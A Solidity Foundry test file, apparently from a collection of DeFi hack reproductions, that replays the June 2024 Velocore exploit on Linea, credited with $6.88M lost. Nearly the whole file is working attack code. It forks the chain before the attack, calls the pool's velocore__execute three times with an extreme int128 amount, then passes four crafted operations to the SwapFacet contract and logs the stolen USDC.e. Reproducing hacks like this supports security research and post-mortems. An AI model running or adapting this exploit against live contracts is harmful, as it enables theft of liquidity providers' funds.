src/test/2024-06/Velocore_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : 	$6.88M
8// Attack Tx : https://lineascan.build/tx/0xed11d5b013bf3296b1507da38b7bcb97845dd037d33d3d1b0c5e763889cdbed1
9// Attacker Address : https://lineascan.build/address/0x8cdc37ed79c5ef116b9dc2a53cb86acaca3716bf
10// Attack Contract : https://lineascan.build/address/0xb7f6354b2cfd3018b3261fbc63248a56a24ae91a
11 
12// @Analysis: https://x.com/BeosinAlert/status/1797247874528645333
13 
14interface ConstantProductPool {
15    type Token is bytes32;
16 
17    function velocore__execute(
18        address,
19        bytes32[] calldata tokens,
20        int128[] memory r,
21        bytes calldata data
22    ) external returns (int128[] memory, int128[] memory);
23 
24    function totalSupply() external view returns (uint256);
25 
26    function poolBalances() external view returns (uint256[] memory);
27}
28 
29struct VelocoreOperation {
30    bytes32 poolId;
31    bytes32[] tokenInformations;
32    bytes data;
33}
34 
35interface SwapFacet {
36    type Token is bytes32;
37 
38    function execute(
39        bytes32[] memory tokens,
40        int128[] memory deposit,
41        VelocoreOperation[] memory ops
42    ) external payable;
43}
44 
45contract ContractTest is Test {
46    type Token is bytes32;
47 
48    address USDC_ETH_VLP = 0xe2c67A9B15e9E7FF8A9Cb0dFb8feE5609923E5DB;
49 
50    address swapfacet = 0x1d0188c4B276A09366D05d6Be06aF61a73bC7535;
51 
52    address USDC_e = 0x176211869cA2b568f2A7D4EE941E073a821EE1ff;
53 
54    bytes32 USDC_e_bytes32 = 0x000000000000000000000000176211869ca2b568f2a7d4ee941e073a821ee1ff;
55 
56    bytes32 ETH_bytes32 = 0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee;
57 
58    bytes32 USDC_ETH_VLP_bytes32 = 0x000000000000000000000000e2c67a9b15e9e7ff8a9cb0dfb8fee5609923e5db;
59 
60    function setUp() public {
61        vm.createSelectFork("linea", 5_079_177 - 1);
62    }
63 
64    function testExploit() public {
65        // 1. Check the total Supply Before Attack of VLP
66        uint256 totalSupplyBeforeAttack = ConstantProductPool(USDC_ETH_VLP).totalSupply();
67 
68        // console.log("total Supply Before Attack:", totalSupplyBeforeAttack);
69 
70        // 2. Call velocore__execute function three times with same parameters
71 
72        bytes32[] memory tokens = new bytes32[](2);
73 
74        tokens[0] = USDC_e_bytes32;
75        tokens[1] = USDC_ETH_VLP_bytes32;
76 
77        int128[] memory amounts = new int128[](2);
78 
79        amounts[0] = 170_141_183_460_469_231_731_687_303_715_884_105_727;
80        amounts[1] = 8_616_292_632_827_688;
81 
82        ConstantProductPool(USDC_ETH_VLP).velocore__execute(address(this), tokens, amounts, hex"");
83 
84        ConstantProductPool(USDC_ETH_VLP).velocore__execute(address(this), tokens, amounts, hex"");
85 
86        ConstantProductPool(USDC_ETH_VLP).velocore__execute(address(this), tokens, amounts, hex"");
87 
88        // 3. Check the balance of USDC_ETH_VLP
89 
90        uint256[] memory a = ConstantProductPool(USDC_ETH_VLP).poolBalances();
91 
92        // 4. Call Valut.SwapFacet execute function with 4 ops
93 
94        bytes32[] memory tokenRef = new bytes32[](3);
95 
96        tokenRef[0] = USDC_e_bytes32;
97 
98        tokenRef[1] = ETH_bytes32;
99 
100        tokenRef[2] = USDC_ETH_VLP_bytes32;
101 
102        int128[] memory deposit = new int128[](3);
103 
104        deposit[0] = 0;
105        deposit[1] = 0;
106        deposit[2] = 0;
107 
108        VelocoreOperation[] memory ops = new VelocoreOperation[](4);
109 
110        ops[0].poolId = USDC_ETH_VLP_bytes32;
111 
112        ops[0].tokenInformations = new bytes32[](3);
113 
114        ops[0].tokenInformations[0] = 0x00000000000000000000000000000000ffffffffffffffffffffff787406ca5f;
115        ops[0].tokenInformations[1] = 0x010100000000000000000000000000007fffffffffffffffffffffffffffffff;
116        ops[0].tokenInformations[2] = 0x020100000000000000000000000000007fffffffffffffffffffffffffffffff;
117        ops[0].data = "";
118 
119        ops[1].poolId = USDC_ETH_VLP_bytes32;
120 
121        ops[1].tokenInformations = new bytes32[](3);
122 
123        ops[1].tokenInformations[0] = 0x00000000000000000000000000000000fffffffffffffffffffffffd4a0022c4;
124        ops[1].tokenInformations[1] = 0x010100000000000000000000000000007fffffffffffffffffffffffffffffff;
125        ops[1].tokenInformations[2] = 0x020100000000000000000000000000007fffffffffffffffffffffffffffffff;
126        ops[1].data = "";
127 
128        ops[2].poolId = USDC_ETH_VLP_bytes32;
129 
130        ops[2].tokenInformations = new bytes32[](3);
131 
132        ops[2].tokenInformations[0] = 0x00000000000000000000000000000000fffffffffffffffffffffffff21eb904;
133        ops[2].tokenInformations[1] = 0x010100000000000000000000000000007fffffffffffffffffffffffffffffff;
134        ops[2].tokenInformations[2] = 0x020100000000000000000000000000007fffffffffffffffffffffffffffffff;
135        ops[2].data = "";
136 
137        ops[3].poolId = USDC_ETH_VLP_bytes32;
138 
139        ops[3].tokenInformations = new bytes32[](2);
140 
141        ops[3].tokenInformations[0] = 0x00000000000000000000000000000000ffffffffffffffffffffffffffffd8f0;
142        ops[3].tokenInformations[1] = 0x020100000000000000000000000000007fffffffffffffffffffffffffffffff;
143 
144        ops[3].data = "";
145 
146        SwapFacet(swapfacet).execute(tokenRef, deposit, ops);
147 
148        // 5. Check the profit after attack
149 
150        uint256 usdc_e_balance = IERC20(USDC_e).balanceOf(address(this));
151 
152        console.log("---------------------------------------------------");
153        console.log("USDC_e profit after attack: $", usdc_e_balance / 10 ** 6);
154        console.log("---------------------------------------------------");
155    }
156 
157    receive() external payable {}
158}